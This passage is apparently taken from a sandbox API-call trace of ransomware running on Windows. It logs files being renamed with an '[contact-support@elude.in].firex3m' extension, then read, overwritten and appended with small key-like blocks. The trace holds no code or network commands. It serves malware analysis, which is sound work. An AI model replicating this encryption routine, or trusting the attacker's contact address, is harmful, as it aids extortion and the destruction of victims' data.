lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.134] WriteFile (in: hFile=0x648, lpBuffer=0x6d8437*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d8437*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0087.134] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.134] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0087.134] CloseHandle (hObject=0x648) returned 1 [0087.136] GetProcessHeap () returned 0x630000 [0087.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d81f8 | out: hHeap=0x630000) returned 1 [0087.136] GetProcessHeap () returned 0x630000 [0087.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d77d8 | out: hHeap=0x630000) returned 1 [0087.136] GetProcessHeap () returned 0x630000 [0087.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0087.136] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.136] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xf9e3ccd6, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x54bfd20, dwReserved1=0x6d77d8, cFileName="PartnerSetupComplete.cmd.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PARTNE~1.FIR")) returned 0x6d51c0 [0087.137] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0087.137] Sleep (dwMilliseconds=0x1) [0087.139] Sleep (dwMilliseconds=0x1) [0087.550] Sleep (dwMilliseconds=0x1) [0089.162] Sleep (dwMilliseconds=0x1) [0090.341] Sleep (dwMilliseconds=0x1) [0091.762] Sleep (dwMilliseconds=0x1) [0093.009] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu", len=0x37 | out: pbstr=0x54bff7c*="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 1 [0093.009] GetProcessHeap () returned 0x630000 [0093.009] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x70c5e8, Size=0xb4) returned 0x70d068 [0093.009] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x670 [0093.010] CloseHandle (hObject=0x670) returned 1 [0093.010] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.036] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.037] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.037] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x90001686, dwReserved1=0x0, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINDOW~4.FIR")) returned 0x6d51c0 [0093.037] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0093.037] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x670 [0093.037] GetProcessHeap () returned 0x630000 [0093.038] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6efa540 [0093.038] GetProcessHeap () returned 0x630000 [0093.038] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70b14d8 [0093.038] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.039] ReadFile (in: hFile=0x670, lpBuffer=0x6efa540, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6efa540*, lpNumberOfBytesRead=0x54bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.326] GetProcessHeap () returned 0x630000 [0100.326] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8848 [0100.326] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.326] WriteFile (in: hFile=0x670, lpBuffer=0x70b14d8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70b14d8*, lpNumberOfBytesWritten=0x54bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.327] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.327] WriteFile (in: hFile=0x670, lpBuffer=0x70bc8d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70bc8d7*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0100.330] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.330] WriteFile (in: hFile=0x670, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0100.330] CloseHandle (hObject=0x670) returned 1 [0102.320] GetProcessHeap () returned 0x630000 [0102.320] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70b14d8 | out: hHeap=0x630000) returned 1 [0102.323] GetProcessHeap () returned 0x630000 [0102.323] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6efa540 | out: hHeap=0x630000) returned 1 [0102.323] GetProcessHeap () returned 0x630000 [0102.323] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8848 | out: hHeap=0x630000) returned 1 [0102.323] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0102.324] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2f0283b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4f5137, dwReserved0=0xa647496, dwReserved1=0x6efa538, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINDOW~4.FIR")) returned 0x6d4e40 [0102.324] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0102.324] Sleep (dwMilliseconds=0x1) [0102.523] Sleep (dwMilliseconds=0x1) [0102.776] Sleep (dwMilliseconds=0x1) [0102.986] Sleep (dwMilliseconds=0x1) [0103.134] Sleep (dwMilliseconds=0x1) [0103.269] Sleep (dwMilliseconds=0x1) [0103.547] Sleep (dwMilliseconds=0x1) [0105.074] Sleep (dwMilliseconds=0x1) [0107.376] Sleep (dwMilliseconds=0x1) [0109.887] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash", len=0x46 | out: pbstr=0x54bff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 1 [0109.887] GetProcessHeap () returned 0x630000 [0109.887] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e90d0, Size=0x18) returned 0x6b01f8 [0109.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x71c [0109.888] CloseHandle (hObject=0x71c) returned 1 [0109.888] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0109.888] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0109.889] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0109.889] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbc470d00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x6e00006e, dwReserved1=0x0, cFileName="i641033.hash.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="I64103~1.FIR")) returned 0x6d4f80 [0109.889] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0109.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x71c [0109.890] GetProcessHeap () returned 0x630000 [0109.890] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4988 [0109.890] GetProcessHeap () returned 0x630000 [0109.890] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4e08 [0109.890] SetFilePointerEx (in: hFile=0x71c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.890] ReadFile (in: hFile=0x71c, lpBuffer=0x6a4988, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4988*, lpNumberOfBytesRead=0x54bff0c*=0x60, lpOverlapped=0x0) returned 1 [0109.891] GetProcessHeap () returned 0x630000 [0109.891] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0109.891] SetFilePointerEx (in: hFile=0x71c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.891] WriteFile (in: hFile=0x71c, lpBuffer=0x6a4e08*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4e08*, lpNumberOfBytesWritten=0x54bff0c*=0x60, lpOverlapped=0x0) returned 1 [0109.891] SetFilePointerEx (in: hFile=0x71c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.891] WriteFile (in: hFile=0x71c, lpBuffer=0x6a4e67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4e67*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0109.891] SetFilePointerEx (in: hFile=0x71c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.891] WriteFile (in: hFile=0x71c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0109.892] CloseHandle (hObject=0x71c) returned 1 [0109.892] GetProcessHeap () returned 0x630000 [0109.892] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4e08 | out: hHeap=0x630000) returned 1 [0109.892] GetProcessHeap () returned 0x630000 [0109.892] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4988 | out: hHeap=0x630000) returned 1 [0109.892] GetProcessHeap () returned 0x630000 [0109.893] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0109.893] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0109.893] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x7734549, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8a, dwReserved0=0x54bfd20, dwReserved1=0x6a4988, cFileName="i641033.hash.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="I64103~1.FIR")) returned 0x6d5400 [0109.893] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0109.893] Sleep (dwMilliseconds=0x1) [0109.903] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash", len=0x43 | out: pbstr=0x54bff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 1 [0109.903] GetProcessHeap () returned 0x630000 [0109.903] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b01f8, Size=0x14) returned 0x6b0418 [0109.903] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x71c [0109.903] CloseHandle (hObject=0x71c) returned 1 [0109.903] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0109.903] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0109.904] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0109.904] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbd783a00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x6e00006e, dwReserved1=0x0, cFileName="i640.hash.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="I640HA~1.FIR")) returned 0x6d4e40 [0109.904] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0109.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x71c [0109.904] GetProcessHeap () returned 0x630000 [0109.904] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a5048 [0109.904] GetProcessHeap () returned 0x630000 [0109.904] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4b38 [0109.904] SetFilePointerEx (in: hFile=0x71c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.904] ReadFile (in: hFile=0x71c, lpBuffer=0x6a5048, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5048*, lpNumberOfBytesRead=0x54bff0c*=0x60, lpOverlapped=0x0) returned 1 [0109.905] GetProcessHeap () returned 0x630000 [0109.905] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0109.906] SetFilePointerEx (in: hFile=0x71c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.906] WriteFile (in: hFile=0x71c, lpBuffer=0x6a4b38*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4b38*, lpNumberOfBytesWritten=0x54bff0c*=0x60, lpOverlapped=0x0) returned 1 [0109.906] SetFilePointerEx (in: hFile=0x71c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.906] WriteFile (in: hFile=0x71c, lpBuffer=0x6a4b97*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4b97*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0109.906] SetFilePointerEx (in: hFile=0x71c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.906] WriteFile (in: hFile=0x71c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0109.906] CloseHandle (hObject=0x71c) returned 1 [0109.907] GetProcessHeap () returned 0x630000 [0109.907] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4b38 | out: hHeap=0x630000) returned 1 [0109.907] GetProcessHeap () returned 0x630000 [0109.907] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a5048 | out: hHeap=0x630000) returned 1 [0109.907] GetProcessHeap () returned 0x630000 [0109.907] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0109.907] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0109.907] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x775aacc, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8a, dwReserved0=0x54bfd20, dwReserved1=0x6a5048, cFileName="i640.hash.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="I640HA~1.FIR")) returned 0x6d54c0 [0109.907] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0109.907] Sleep (dwMilliseconds=0x1) [0109.920] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml", len=0x50 | out: pbstr=0x54bff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 1 [0109.920] GetProcessHeap () returned 0x630000 [0109.920] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0418, Size=0x10) returned 0x6b13b8 [0109.920] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x71c [0109.921] CloseHandle (hObject=0x71c) returned 1 [0109.921] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0109.921] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0109.921] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0109.922] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8ee04f00, ftLastWriteTime.dwHighDateTime=0x1d0d67f, nFileSizeHigh=0x0, nFileSizeLow=0x1028, dwReserved0=0x2001517, dwReserved1=0x330078, cFileName="C2RHeartbeatConfig.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="C2RHEA~1.FIR")) returned 0x6d51c0 [0109.922] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0109.922] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x71c [0109.922] GetProcessHeap () returned 0x630000 [0109.922] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1041) returned 0x67d198 [0109.922] GetProcessHeap () returned 0x630000 [0109.922] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1041) returned 0x6fbac78 [0109.922] SetFilePointerEx (in: hFile=0x71c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 